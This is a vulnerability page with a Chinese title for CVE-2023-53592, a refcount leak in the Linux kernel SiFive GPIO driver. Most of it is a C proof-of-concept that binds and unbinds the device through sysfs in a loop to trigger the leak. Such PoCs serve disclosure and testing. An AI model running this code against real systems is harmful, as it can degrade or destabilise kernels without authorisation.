CVE-2023-53592 Linux内核SiFive GPIO驱动引用计数泄漏漏洞

/* CVE-2023-53592 PoC - Trigger refcount leak in gpio-sifive driver * This PoC demonstrates how to trigger the refcount leak by repeatedly * probing and removing the SiFive GPIO driver. * Note: Requires root privileges to load/unload kernel modules. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define GPIO_SIFIVE_DEVICE_PATH "/sys/bus/platform/drivers/gpio-sifive" /* Function to trigger driver probe by binding the device */ int trigger_probe(const char *device_path) { char path[256]; int fd; /* Bind the device to trigger probe */ snprintf(path, sizeof(path), "%s/bind", GPIO_SIFIVE_DEVICE_PATH); fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open bind interface"); return -1; } write(fd, device_path, strlen(device_path)); close(fd); return 0; } /* Function to unbind the device to trigger remove */ int trigger_remove(const char *device_path) { char path[256]; int fd; snprintf(path, sizeof(path), "%s/unbind", GPIO_SIFIVE_DEVICE_PATH); fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open unbind interface"); return -1; } write(fd, device_path, strlen(device_path)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *device = "10060000.gpio"; /* SiFive GPIO device name */ int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53592 PoC: Triggering refcount leak\n"); printf("Iterations: %d\n", iterations); for (int i = 0; i < iterations; i++) { if (trigger_probe(device) != 0) break; usleep(10000); /* 10ms delay */ if (trigger_remove(device) != 0) break; usleep(10000); if (i % 100 == 0) { printf("Progress: %d/%d\n", i, iterations); } } printf("Completed. Check kernel logs for any issues.\n"); return 0; }